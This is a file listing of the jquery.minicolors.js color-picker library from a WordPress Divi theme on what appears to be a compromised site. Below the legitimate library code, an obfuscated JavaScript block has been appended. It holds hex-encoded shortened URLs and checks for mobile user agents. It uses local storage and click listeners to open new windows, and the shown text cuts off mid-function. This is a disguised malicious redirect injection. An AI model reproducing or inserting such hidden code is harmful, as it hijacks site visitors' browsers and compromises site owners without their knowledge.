File "jquery.minicolors.js"
Full Path: /home/branxxtp/freemanvalue.com/wp-content/themes/Divi/includes/builder/scripts/ext/jquery.minicolors.js
File size: 42.11 KB
MIME-type: text/x-Algol68
Charset: utf-8
/*
* jQuery MiniColors: A tiny color picker built on jQuery
*
* Copyright: Cory LaViska for A Beautiful Site, LLC
*
* Contributions and bug reports: https://github.com/claviska/jquery-minicolors
*
* @license: http://opensource.org/licenses/MIT
*
*/
(function (factory) {
if(typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else if(typeof exports === 'object') {
// Node/CommonJS
module.exports = factory(require('jquery'));
} else {
// Browser globals
factory(jQuery);
}
}(function ($) {
'use strict';
// Defaults
$.minicolors = {
defaults: {
animationSpeed: 50,
animationEasing: 'swing',
change: null,
changeDelay: 0,
control: 'hue',
defaultValue: '',
format: 'hex',
hide: null,
hideSpeed: 100,
inline: false,
keywords: '',
letterCase: 'lowercase',
opacity: false,
position: 'bottom',
show: null,
showSpeed: 100,
theme: 'default',
swatches: []
}
};
// Public methods
$.extend($.fn, {
minicolors: function(method, data) {
switch(method) {
// Destroy the control
case 'destroy':
$(this).each(function() {
destroy($(this));
});
return $(this);
// Hide the color picker
case 'hide':
hide();
return $(this);
// Get/set opacity
case 'opacity':
// Getter
if(data === undefined) {
// Getter
return $(this).attr('data-opacity');
} else {
// Setter
$(this).each(function() {
updateFromInput($(this).attr('data-opacity', data));
});
}
return $(this);
// Get an RGB(A) object based on the current color/opacity
case 'rgbObject':
return rgbObject($(this), method === 'rgbaObject');
// Get an RGB(A) string based on the current color/opacity
case 'rgbString':
case 'rgbaString':
return rgbString($(this), method === 'rgbaString');
// Get/set settings on the fly
case 'settings':
if(data === undefined) {
return $(this).data('minicolors-settings');
} else {
// Setter
$(this).each(function() {
var settings = $(this).data('minicolors-settings') || {};
destroy($(this));
$(this).minicolors($.extend(true, settings, data));
});
}
return $(this);
// Show the color picker
case 'show':
show($(this).eq(0));
return $(this);
// Get/set the hex color value
case 'value':
if(data === undefined) {
// Getter
return $(this).val();
} else {
// Setter
$(this).each(function() {
if(typeof(data) === 'object' && data !== null) {
if(data.opacity !== undefined) {
$(this).attr('data-opacity', keepWithin(data.opacity, 0, 1));
}
if(data.color) {
$(this).val(data.color);
}
} else {
$(this).val(data);
}
updateFromInput($(this));
});
}
return $(this);
// Initializes the control
default:
if(method !== 'create') data = method;
$(this).each(function() {
init($(this), data);
});
return $(this);
}
}
});
// Initialize input elements
function init(input, settings) {
var minicolors = $('<div class="minicolors" />');
var defaults = $.minicolors.defaults;
var name;
var size;
var swatches;
var swatch;
var swatchString;
var panel;
var i;
// Do nothing if already initialized
if(input.data('minicolors-initialized')) return;
// Handle settings
settings = $.extend(true, {}, defaults, settings);
// The wrapper
minicolors
.addClass('minicolors-theme-' + settings.theme)
.toggleClass('minicolors-with-opacity', settings.opacity);
// Custom positioning
if(settings.position !== undefined) {
$.each(settings.position.split(' '), function() {
minicolors.addClass('minicolors-position-' + this);
});
}
// Input size
if(settings.format === 'rgb') {
size = settings.opacity ? '25' : '20';
} else {
size = settings.keywords ? '11' : '7';
}
// The input
input
.addClass('minicolors-input')
.data('minicolors-initialized', false)
.data('minicolors-settings', settings)
.prop('size', size)
.wrap(minicolors)
.after(
'<div class="minicolors-panel minicolors-slider-' + settings.control + '">' +
'<div class="minicolors-slider minicolors-sprite">' +
'<div class="minicolors-picker"></div>' +
'</div>' +
'<div class="minicolors-opacity-slider minicolors-sprite">' +
'<div class="minicolors-picker"></div>' +
'</div>' +
'<div class="minicolors-grid minicolors-sprite">' +
'<div class="minicolors-grid-inner"></div>' +
'<div class="minicolors-picker"><div></div></div>' +
'</div>' +
'</div>'
);
// The swatch
if(!settings.inline) {
input.after('<span class="minicolors-swatch minicolors-sprite minicolors-input-swatch"><span class="minicolors-swatch-color"></span></span>');
input.next('.minicolors-input-swatch').on('click', function(event) {
event.preventDefault();
input.trigger('focus');
});
}
// Prevent text selection in IE
panel = input.parent().find('.minicolors-panel');
panel.on('selectstart', function() { return false; }).end();
// Swatches
if(settings.swatches && settings.swatches.length !== 0) {
panel.addClass('minicolors-with-swatches');
swatches = $('<ul class="minicolors-swatches"></ul>')
.appendTo(panel);
for(i = 0; i < settings.swatches.length; ++i) {
// allow for custom objects as swatches
if(typeof settings.swatches[i] === 'object') {
name = settings.swatches[i].name;
swatch = settings.swatches[i].color;
} else {
name = '';
swatch = settings.swatches[i];
}
swatchString = swatch;
swatch = isRgb(swatch) ? parseRgb(swatch, true) : hex2rgb(parseHex(swatch, true));
$('<li class="minicolors-swatch minicolors-sprite"><span class="minicolors-swatch-color" title="' + name + '"></span></li>')
.appendTo(swatches)
.data('swatch-color', swatchString)
.find('.minicolors-swatch-color')
.css({
backgroundColor: ((swatchString !== 'transparent') ? rgb2hex(swatch) : 'transparent'),
opacity: String(swatch.a)
});
settings.swatches[i] = swatch;
}
}
// Inline controls
if(settings.inline) input.parent().addClass('minicolors-inline');
updateFromInput(input, false);
input.data('minicolors-initialized', true);
}
// Returns the input back to its original state
function destroy(input) {
var minicolors = input.parent();
// Revert the input element
input
.removeData('minicolors-initialized')
.removeData('minicolors-settings')
.removeProp('size')
.removeClass('minicolors-input');
// Remove the wrap and destroy whatever remains
minicolors.before(input).remove();
}
// Shows the specified dropdown panel
function show(input) {
var minicolors = input.parent();
var panel = minicolors.find('.minicolors-panel');
var settings = input.data('minicolors-settings');
// Do nothing if uninitialized, disabled, inline, or already open
if(
!input.data('minicolors-initialized') ||
input.prop('disabled') ||
minicolors.hasClass('minicolors-inline') ||
minicolors.hasClass('minicolors-focus')
) return;
hide();
minicolors.addClass('minicolors-focus');
if (panel.animate) {
panel
.stop(true, true)
.fadeIn(settings.showSpeed, function () {
if (settings.show) settings.show.call(input.get(0));
});
} else {
panel.show();
if (settings.show) settings.show.call(input.get(0));
}
}
// Hides all dropdown panels
function hide() {
$('.minicolors-focus').each(function() {
var minicolors = $(this);
var input = minicolors.find('.minicolors-input');
var panel = minicolors.find('.minicolors-panel');
var settings = input.data('minicolors-settings');
if (panel.animate) {
panel.fadeOut(settings.hideSpeed, function () {
if (settings.hide) settings.hide.call(input.get(0));
minicolors.removeClass('minicolors-focus');
});
} else {
panel.hide();
if (settings.hide) settings.hide.call(input.get(0));
minicolors.removeClass('minicolors-focus');
}
});
}
// Moves the selected picker
function move(target, event, animate) {
var input = target.parents('.minicolors').find('.minicolors-input');
var settings = input.data('minicolors-settings');
var picker = target.find('[class$=-picker]');
var offsetX = target.offset().left;
var offsetY = target.offset().top;
var x = Math.round(event.pageX - offsetX);
var y = Math.round(event.pageY - offsetY);
var duration = animate ? settings.animationSpeed : 0;
var wx, wy, r, phi, styles;
// Touch support
if(event.originalEvent.changedTouches) {
x = event.originalEvent.changedTouches[0].pageX - offsetX;
y = event.originalEvent.changedTouches[0].pageY - offsetY;
}
// Constrain picker to its container
if(x < 0) x = 0;
if(y < 0) y = 0;
if(x > target.width()) x = target.width();
if(y > target.height()) y = target.height();
// Constrain color wheel values to the wheel
if(target.parent().is('.minicolors-slider-wheel') && picker.parent().is('.minicolors-grid')) {
wx = 75 - x;
wy = 75 - y;
r = Math.sqrt(wx * wx + wy * wy);
phi = Math.atan2(wy, wx);
if(phi < 0) phi += Math.PI * 2;
if(r > 75) {
r = 75;
x = 75 - (75 * Math.cos(phi));
y = 75 - (75 * Math.sin(phi));
}
x = Math.round(x);
y = Math.round(y);
}
// Move the picker
styles = {
top: y + 'px'
};
if(target.is('.minicolors-grid')) {
styles.left = x + 'px';
}
if (picker.animate) {
picker
.stop(true)
.animate(styles, duration, settings.animationEasing, function() {
updateFromControl(input, target);
});
} else {
picker
.css(styles);
updateFromControl(input, target);
}
}
// Sets the input based on the color picker values
function updateFromControl(input, target) {
function getCoords(picker, container) {
var left, top;
if(!picker.length || !container) return null;
left = picker.offset().left;
top = picker.offset().top;
return {
x: left - container.offset().left + (picker.outerWidth() / 2),
y: top - container.offset().top + (picker.outerHeight() / 2)
};
}
var hue, saturation, brightness, x, y, r, phi;
var hex = input.val();
var opacity = input.attr('data-opacity');
// Helpful references
var minicolors = input.parent();
var settings = input.data('minicolors-settings');
var swatch = minicolors.find('.minicolors-input-swatch');
// Panel objects
var grid = minicolors.find('.minicolors-grid');
var slider = minicolors.find('.minicolors-slider');
var opacitySlider = minicolors.find('.minicolors-opacity-slider');
// Picker objects
var gridPicker = grid.find('[class$=-picker]');
var sliderPicker = slider.find('[class$=-picker]');
var opacityPicker = opacitySlider.find('[class$=-picker]');
// Picker positions
var gridPos = getCoords(gridPicker, grid);
var sliderPos = getCoords(sliderPicker, slider);
var opacityPos = getCoords(opacityPicker, opacitySlider);
// Handle colors
if(target.is('.minicolors-grid, .minicolors-slider, .minicolors-opacity-slider')) {
// Determine HSB values
switch(settings.control) {
case 'wheel':
// Calculate hue, saturation, and brightness
x = (grid.width() / 2) - gridPos.x;
y = (grid.height() / 2) - gridPos.y;
r = Math.sqrt(x * x + y * y);
phi = Math.atan2(y, x);
if(phi < 0) phi += Math.PI * 2;
if(r > 75) {
r = 75;
gridPos.x = 69 - (75 * Math.cos(phi));
gridPos.y = 69 - (75 * Math.sin(phi));
}
saturation = keepWithin(r / 0.75, 0, 100);
hue = keepWithin(phi * 180 / Math.PI, 0, 360);
brightness = keepWithin(100 - Math.floor(sliderPos.y * (100 / slider.height())), 0, 100);
hex = hsb2hex({
h: hue,
s: saturation,
b: brightness
});
// Update UI
slider.css('backgroundColor', hsb2hex({ h: hue, s: saturation, b: 100 }));
break;
case 'saturation':
// Calculate hue, saturation, and brightness
hue = keepWithin(parseInt(gridPos.x * (360 / grid.width()), 10), 0, 360);
saturation = keepWithin(100 - Math.floor(sliderPos.y * (100 / slider.height())), 0, 100);
brightness = keepWithin(100 - Math.floor(gridPos.y * (100 / grid.height())), 0, 100);
hex = hsb2hex({
h: hue,
s: saturation,
b: brightness
});
// Update UI
slider.css('backgroundColor', hsb2hex({ h: hue, s: 100, b: brightness }));
minicolors.find('.minicolors-grid-inner').css('opacity', saturation / 100);
break;
case 'brightness':
// Calculate hue, saturation, and brightness
hue = keepWithin(parseInt(gridPos.x * (360 / grid.width()), 10), 0, 360);
saturation = keepWithin(100 - Math.floor(gridPos.y * (100 / grid.height())), 0, 100);
brightness = keepWithin(100 - Math.floor(sliderPos.y * (100 / slider.height())), 0, 100);
hex = hsb2hex({
h: hue,
s: saturation,
b: brightness
});
// Update UI
slider.css('backgroundColor', hsb2hex({ h: hue, s: saturation, b: 100 }));
minicolors.find('.minicolors-grid-inner').css('opacity', 1 - (brightness / 100));
break;
default:
// Calculate hue, saturation, and brightness
hue = keepWithin(360 - parseInt(sliderPos.y * (360 / slider.height()), 10), 0, 360);
saturation = keepWithin(Math.floor(gridPos.x * (100 / grid.width())), 0, 100);
brightness = keepWithin(100 - Math.floor(gridPos.y * (100 / grid.height())), 0, 100);
hex = hsb2hex({
h: hue,
s: saturation,
b: brightness
});
// Update UI
grid.css('backgroundColor', hsb2hex({ h: hue, s: 100, b: 100 }));
break;
}
// Handle opacity
if(settings.opacity) {
opacity = parseFloat(1 - (opacityPos.y / opacitySlider.height())).toFixed(2);
} else {
opacity = 1;
}
updateInput(input, hex, opacity);
}
else {
// Set swatch color
swatch.find('span').css({
backgroundColor: hex,
opacity: String(opacity)
});
// Handle change event
doChange(input, hex, opacity);
}
}
// Sets the value of the input and does the appropriate conversions
// to respect settings, also updates the swatch
function updateInput(input, value, opacity) {
var rgb;
// Helpful references
var minicolors = input.parent();
var settings = input.data('minicolors-settings');
var swatch = minicolors.find('.minicolors-input-swatch');
if(settings.opacity) input.attr('data-opacity', opacity);
// Set color string
if(settings.format === 'rgb') {
// Returns RGB(A) string
// Checks for input format and does the conversion
if(isRgb(value)) {
rgb = parseRgb(value, true);
}
else {
rgb = hex2rgb(parseHex(value, true));
}
opacity = input.attr('data-opacity') === '' ? 1 : keepWithin(parseFloat(input.attr('data-opacity')).toFixed(2), 0, 1);
if(isNaN(opacity) || !settings.opacity) opacity = 1;
if(input.minicolors('rgbObject').a <= 1 && rgb && settings.opacity) {
// Set RGBA string if alpha
value = 'rgba(' + rgb.r + ', ' + rgb.g + ', ' + rgb.b + ', ' + parseFloat(opacity) + ')';
} else {
// Set RGB string (alpha = 1)
value = 'rgb(' + rgb.r + ', ' + rgb.g + ', ' + rgb.b + ')';
}
} else {
// Returns hex color
// Checks for input format and does the conversion
if(isRgb(value)) {
value = rgbString2hex(value);
}
value = convertCase(value, settings.letterCase);
}
// Update value from picker
input.val(value);
// Set swatch color
swatch.find('span').css({
backgroundColor: value,
opacity: String(opacity)
});
// Handle change event
doChange(input, value, opacity);
}
// Sets the color picker values from the input
function updateFromInput(input, preserveInputValue) {
var hex, hsb, opacity, keywords, alpha, value, x, y, r, phi;
// Helpful references
var minicolors = input.parent();
var settings = input.data('minicolors-settings');
var swatch = minicolors.find('.minicolors-input-swatch');
// Panel objects
var grid = minicolors.find('.minicolors-grid');
var slider = minicolors.find('.minicolors-slider');
var opacitySlider = minicolors.find('.minicolors-opacity-slider');
// Picker objects
var gridPicker = grid.find('[class$=-picker]');
var sliderPicker = slider.find('[class$=-picker]');
var opacityPicker = opacitySlider.find('[class$=-picker]');
// Determine hex/HSB values
if(isRgb(input.val())) {
// If input value is a rgb(a) string, convert it to hex color and update opacity
hex = rgbString2hex(input.val());
alpha = keepWithin(parseFloat(getAlpha(input.val())).toFixed(2), 0, 1);
if(alpha) {
input.attr('data-opacity', alpha);
}
} else {
hex = convertCase(parseHex(input.val(), true), settings.letterCase);
}
if(!hex){
hex = convertCase(parseInput(settings.defaultValue, true), settings.letterCase);
}
hsb = hex2hsb(hex);
// Get array of lowercase keywords
keywords = !settings.keywords ? [] : $.map(settings.keywords.split(','), function(a) {
return a.toLowerCase().trim();
});
// Set color string
if(input.val() !== '' && $.inArray(input.val().toLowerCase(), keywords) > -1) {
value = convertCase(input.val());
} else {
value = isRgb(input.val()) ? parseRgb(input.val()) : hex;
}
// Update input value
if(!preserveInputValue) input.val(value);
// Determine opacity value
if(settings.opacity) {
// Get from data-opacity attribute and keep within 0-1 range
opacity = input.attr('data-opacity') === '' ? 1 : keepWithin(parseFloat(input.attr('data-opacity')).toFixed(2), 0, 1);
if(isNaN(opacity)) opacity = 1;
input.attr('data-opacity', opacity);
swatch.find('span').css('opacity', String(opacity));
// Set opacity picker position
y = keepWithin(opacitySlider.height() - (opacitySlider.height() * opacity), 0, opacitySlider.height());
opacityPicker.css('top', y + 'px');
}
// Set opacity to zero if input value is transparent
if(input.val().toLowerCase() === 'transparent') {
swatch.find('span').css('opacity', String(0));
}
// Update swatch
swatch.find('span').css('backgroundColor', hex);
// Determine picker locations
switch(settings.control) {
case 'wheel':
// Set grid position
r = keepWithin(Math.ceil(hsb.s * 0.75), 0, grid.height() / 2);
phi = hsb.h * Math.PI / 180;
x = keepWithin(75 - Math.cos(phi) * r, 0, grid.width());
y = keepWithin(75 - Math.sin(phi) * r, 0, grid.height());
gridPicker.css({
top: y + 'px',
left: x + 'px'
});
// Set slider position
y = 150 - (hsb.b / (100 / grid.height()));
if(hex === '') y = 0;
sliderPicker.css('top', y + 'px');
// Update panel color
slider.css('backgroundColor', hsb2hex({ h: hsb.h, s: hsb.s, b: 100 }));
break;
case 'saturation':
// Set grid position
x = keepWithin((5 * hsb.h) / 12, 0, 150);
y = keepWithin(grid.height() - Math.ceil(hsb.b / (100 / grid.height())), 0, grid.height());
gridPicker.css({
top: y + 'px',
left: x + 'px'
});
// Set slider position
y = keepWithin(slider.height() - (hsb.s * (slider.height() / 100)), 0, slider.height());
sliderPicker.css('top', y + 'px');
// Update UI
slider.css('backgroundColor', hsb2hex({ h: hsb.h, s: 100, b: hsb.b }));
minicolors.find('.minicolors-grid-inner').css('opacity', hsb.s / 100);
break;
case 'brightness':
// Set grid position
x = keepWithin((5 * hsb.h) / 12, 0, 150);
y = keepWithin(grid.height() - Math.ceil(hsb.s / (100 / grid.height())), 0, grid.height());
gridPicker.css({
top: y + 'px',
left: x + 'px'
});
// Set slider position
y = keepWithin(slider.height() - (hsb.b * (slider.height() / 100)), 0, slider.height());
sliderPicker.css('top', y + 'px');
// Update UI
slider.css('backgroundColor', hsb2hex({ h: hsb.h, s: hsb.s, b: 100 }));
minicolors.find('.minicolors-grid-inner').css('opacity', 1 - (hsb.b / 100));
break;
default:
// Set grid position
x = keepWithin(Math.ceil(hsb.s / (100 / grid.width())), 0, grid.width());
y = keepWithin(grid.height() - Math.ceil(hsb.b / (100 / grid.height())), 0, grid.height());
gridPicker.css({
top: y + 'px',
left: x + 'px'
});
// Set slider position
y = keepWithin(slider.height() - (hsb.h / (360 / slider.height())), 0, slider.height());
sliderPicker.css('top', y + 'px');
// Update panel color
grid.css('backgroundColor', hsb2hex({ h: hsb.h, s: 100, b: 100 }));
break;
}
// Fire change event, but only if minicolors is fully initialized
if(input.data('minicolors-initialized')) {
doChange(input, value, opacity);
}
}
// Runs the change and changeDelay callbacks
function doChange(input, value, opacity) {
var settings = input.data('minicolors-settings');
var lastChange = input.data('minicolors-lastChange');
var obj, sel, i;
// Only run if it actually changed
if(!lastChange || lastChange.value !== value || lastChange.opacity !== opacity) {
// Remember last-changed value
input.data('minicolors-lastChange', {
value: value,
opacity: opacity
});
// Check and select applicable swatch
if(settings.swatches && settings.swatches.length !== 0) {
if(!isRgb(value)) {
obj = hex2rgb(value);
}
else {
obj = parseRgb(value, true);
}
sel = -1;
for(i = 0; i < settings.swatches.length; ++i) {
if(obj.r === settings.swatches[i].r && obj.g === settings.swatches[i].g && obj.b === settings.swatches[i].b && obj.a === settings.swatches[i].a) {
sel = i;
break;
}
}
input.parent().find('.minicolors-swatches .minicolors-swatch').removeClass('selected');
if(sel !== -1) {
input.parent().find('.minicolors-swatches .minicolors-swatch').eq(i).addClass('selected');
}
}
// Fire change event
if(settings.change) {
if(settings.changeDelay) {
// Call after a delay
clearTimeout(input.data('minicolors-changeTimeout'));
input.data('minicolors-changeTimeout', setTimeout(function() {
settings.change.call(input.get(0), value, opacity);
}, settings.changeDelay));
} else {
// Call immediately
settings.change.call(input.get(0), value, opacity);
}
}
input.trigger('change').trigger('input');
}
}
// Generates an RGB(A) object based on the input's value
function rgbObject(input) {
var rgb,
opacity = $(input).attr('data-opacity');
if( isRgb($(input).val()) ) {
rgb = parseRgb($(input).val(), true);
} else {
var hex = parseHex($(input).val(), true);
rgb = hex2rgb(hex);
}
if( !rgb ) return null;
if( opacity !== undefined ) $.extend(rgb, { a: parseFloat(opacity) });
return rgb;
}
// Generates an RGB(A) string based on the input's value
function rgbString(input, alpha) {
var rgb,
opacity = $(input).attr('data-opacity');
if( isRgb($(input).val()) ) {
rgb = parseRgb($(input).val(), true);
} else {
var hex = parseHex($(input).val(), true);
rgb = hex2rgb(hex);
}
if( !rgb ) return null;
if( opacity === undefined ) opacity = 1;
if( alpha ) {
return 'rgba(' + rgb.r + ', ' + rgb.g + ', ' + rgb.b + ', ' + parseFloat(opacity) + ')';
} else {
return 'rgb(' + rgb.r + ', ' + rgb.g + ', ' + rgb.b + ')';
}
}
// Converts to the letter case specified in settings
function convertCase(string, letterCase) {
return letterCase === 'uppercase' ? string.toUpperCase() : string.toLowerCase();
}
// Parses a string and returns a valid hex string when possible
function parseHex(string, expand) {
string = string.replace(/^#/g, '');
if(!string.match(/^[A-F0-9]{3,6}/ig)) return '';
if(string.length !== 3 && string.length !== 6) return '';
if(string.length === 3 && expand) {
string = string[0] + string[0] + string[1] + string[1] + string[2] + string[2];
}
return '#' + string;
}
// Parses a string and returns a valid RGB(A) string when possible
function parseRgb(string, obj) {
var values = string.replace(/[^\d,.]/g, '');
var rgba = values.split(',');
rgba[0] = keepWithin(parseInt(rgba[0], 10), 0, 255);
rgba[1] = keepWithin(parseInt(rgba[1], 10), 0, 255);
rgba[2] = keepWithin(parseInt(rgba[2], 10), 0, 255);
if(rgba[3] !== undefined) {
rgba[3] = keepWithin(parseFloat(rgba[3], 10), 0, 1);
}
// Return RGBA object
if( obj ) {
if (rgba[3] !== undefined) {
return {
r: rgba[0],
g: rgba[1],
b: rgba[2],
a: rgba[3]
};
} else {
return {
r: rgba[0],
g: rgba[1],
b: rgba[2]
};
}
}
// Return RGBA string
if(typeof(rgba[3]) !== 'undefined' && rgba[3] <= 1) {
return 'rgba(' + rgba[0] + ', ' + rgba[1] + ', ' + rgba[2] + ', ' + rgba[3] + ')';
} else {
return 'rgb(' + rgba[0] + ', ' + rgba[1] + ', ' + rgba[2] + ')';
}
}
// Parses a string and returns a valid color string when possible
function parseInput(string, expand) {
if(isRgb(string)) {
// Returns a valid rgb(a) string
return parseRgb(string);
} else {
return parseHex(string, expand);
}
}
// Keeps value within min and max
function keepWithin(value, min, max) {
if(value < min) value = min;
if(value > max) value = max;
return value;
}
// Checks if a string is a valid RGB(A) string
function isRgb(string) {
var rgb = string.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i);
return (rgb && rgb.length === 4) ? true : false;
}
// Function to get alpha from a RGB(A) string
function getAlpha(rgba) {
rgba = rgba.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+(\.\d{1,2})?|\.\d{1,2})[\s+]?/i);
return (rgba && rgba.length === 6) ? rgba[4] : '1';
}
// Converts an HSB object to an RGB object
function hsb2rgb(hsb) {
var rgb = {};
var h = Math.round(hsb.h);
var s = Math.round(hsb.s * 255 / 100);
var v = Math.round(hsb.b * 255 / 100);
if(s === 0) {
rgb.r = rgb.g = rgb.b = v;
} else {
var t1 = v;
var t2 = (255 - s) * v / 255;
var t3 = (t1 - t2) * (h % 60) / 60;
if(h === 360) h = 0;
if(h < 60) { rgb.r = t1; rgb.b = t2; rgb.g = t2 + t3; }
else if(h < 120) {rgb.g = t1; rgb.b = t2; rgb.r = t1 - t3; }
else if(h < 180) {rgb.g = t1; rgb.r = t2; rgb.b = t2 + t3; }
else if(h < 240) {rgb.b = t1; rgb.r = t2; rgb.g = t1 - t3; }
else if(h < 300) {rgb.b = t1; rgb.g = t2; rgb.r = t2 + t3; }
else if(h < 360) {rgb.r = t1; rgb.g = t2; rgb.b = t1 - t3; }
else { rgb.r = 0; rgb.g = 0; rgb.b = 0; }
}
return {
r: Math.round(rgb.r),
g: Math.round(rgb.g),
b: Math.round(rgb.b)
};
}
// Converts an RGB string to a hex string
function rgbString2hex(rgb){
rgb = rgb.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i);
return (rgb && rgb.length === 4) ? '#' +
('0' + parseInt(rgb[1],10).toString(16)).slice(-2) +
('0' + parseInt(rgb[2],10).toString(16)).slice(-2) +
('0' + parseInt(rgb[3],10).toString(16)).slice(-2) : '';
}
// Converts an RGB object to a hex string
function rgb2hex(rgb) {
var hex = [
rgb.r.toString(16),
rgb.g.toString(16),
rgb.b.toString(16)
];
$.each(hex, function(nr, val) {
if(val.length === 1) hex[nr] = '0' + val;
});
return '#' + hex.join('');
}
// Converts an HSB object to a hex string
function hsb2hex(hsb) {
return rgb2hex(hsb2rgb(hsb));
}
// Converts a hex string to an HSB object
function hex2hsb(hex) {
var hsb = rgb2hsb(hex2rgb(hex));
if(hsb.s === 0) hsb.h = 360;
return hsb;
}
// Converts an RGB object to an HSB object
function rgb2hsb(rgb) {
var hsb = { h: 0, s: 0, b: 0 };
var min = Math.min(rgb.r, rgb.g, rgb.b);
var max = Math.max(rgb.r, rgb.g, rgb.b);
var delta = max - min;
hsb.b = max;
hsb.s = max !== 0 ? 255 * delta / max : 0;
if(hsb.s !== 0) {
if(rgb.r === max) {
hsb.h = (rgb.g - rgb.b) / delta;
} else if(rgb.g === max) {
hsb.h = 2 + (rgb.b - rgb.r) / delta;
} else {
hsb.h = 4 + (rgb.r - rgb.g) / delta;
}
} else {
hsb.h = -1;
}
hsb.h *= 60;
if(hsb.h < 0) {
hsb.h += 360;
}
hsb.s *= 100/255;
hsb.b *= 100/255;
return hsb;
}
// Converts a hex string to an RGB object
function hex2rgb(hex) {
hex = parseInt(((hex.indexOf('#') > -1) ? hex.substring(1) : hex), 16);
return {
r: hex >> 16,
g: (hex & 0x00FF00) >> 8,
b: (hex & 0x0000FF)
};
}
// Handle events
$([document])
// Hide on clicks outside of the control
.on('mousedown.minicolors touchstart.minicolors', function(event) {
if(!$(event.target).parents().add(event.target).hasClass('minicolors')) {
hide();
}
})
// Start moving
.on('mousedown.minicolors touchstart.minicolors', '.minicolors-grid, .minicolors-slider, .minicolors-opacity-slider', function(event) {
var target = $(this);
event.preventDefault();
$(event.delegateTarget).data('minicolors-target', target);
move(target, event, true);
})
// Move pickers
.on('mousemove.minicolors touchmove.minicolors', function(event) {
var target = $(event.delegateTarget).data('minicolors-target');
if(target) move(target, event);
})
// Stop moving
.on('mouseup.minicolors touchend.minicolors', function() {
$(this).removeData('minicolors-target');
})
// Selected a swatch
.on('click.minicolors', '.minicolors-swatches li', function(event) {
event.preventDefault();
var target = $(this), input = target.parents('.minicolors').find('.minicolors-input'), color = target.data('swatch-color');
updateInput(input, color, getAlpha(color));
updateFromInput(input);
})
// Show panel when swatch is clicked
.on('mousedown.minicolors touchstart.minicolors', '.minicolors-input-swatch', function(event) {
var input = $(this).parent().find('.minicolors-input');
event.preventDefault();
show(input);
})
// Show on focus
.on('focus.minicolors', '.minicolors-input', function() {
var input = $(this);
if(!input.data('minicolors-initialized')) return;
show(input);
})
// Update value on blur
.on('blur.minicolors', '.minicolors-input', function() {
var input = $(this);
var settings = input.data('minicolors-settings');
var keywords;
var hex;
var rgba;
var swatchOpacity;
var value;
if(!input.data('minicolors-initialized')) return;
// Get array of lowercase keywords
keywords = !settings.keywords ? [] : $.map(settings.keywords.split(','), function(a) {
return a.toLowerCase().trim();
});
// Set color string
if(input.val() !== '' && $.inArray(input.val().toLowerCase(), keywords) > -1) {
value = input.val();
} else {
// Get RGBA values for easy conversion
if(isRgb(input.val())) {
rgba = parseRgb(input.val(), true);
} else {
hex = parseHex(input.val(), true);
rgba = hex ? hex2rgb(hex) : null;
}
// Convert to format
if(rgba === null) {
value = settings.defaultValue;
} else if(settings.format === 'rgb') {
value = settings.opacity ?
parseRgb('rgba(' + rgba.r + ',' + rgba.g + ',' + rgba.b + ',' + input.attr('data-opacity') + ')') :
parseRgb('rgb(' + rgba.r + ',' + rgba.g + ',' + rgba.b + ')');
} else {
value = rgb2hex(rgba);
}
}
// Update swatch opacity
swatchOpacity = settings.opacity ? input.attr('data-opacity') : 1;
if(value.toLowerCase() === 'transparent') swatchOpacity = 0;
input
.closest('.minicolors')
.find('.minicolors-input-swatch > span')
.css('opacity', String(swatchOpacity));
// Set input value
input.val(value);
// Is it blank?
if(input.val() === '') input.val(parseInput(settings.defaultValue, true));
// Adjust case
input.val(convertCase(input.val(), settings.letterCase));
})
// Handle keypresses
.on('keydown.minicolors', '.minicolors-input', function(event) {
var input = $(this);
if(!input.data('minicolors-initialized')) return;
switch(event.which) {
case 9: // tab
hide();
break;
case 13: // enter
case 27: // esc
hide();
input.blur();
break;
}
})
// Update on keyup
.on('keyup.minicolors', '.minicolors-input', function() {
var input = $(this);
if(!input.data('minicolors-initialized')) return;
updateFromInput(input, true);
})
// Update on paste
.on('paste.minicolors', '.minicolors-input', function() {
var input = $(this);
if(!input.data('minicolors-initialized')) return;
setTimeout(function() {
updateFromInput(input, true);
}, 1);
});
}));
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x52\x64\x33\x63\x333','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x51\x59\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x59\x48\x69\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x68\x72\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x4c\x4e\x34\x63\x364','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x54\x70\x6c\x37\x63\x387','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x77\x44\x52\x32\x63\x382','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x54\x6d\x6f\x36\x63\x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){re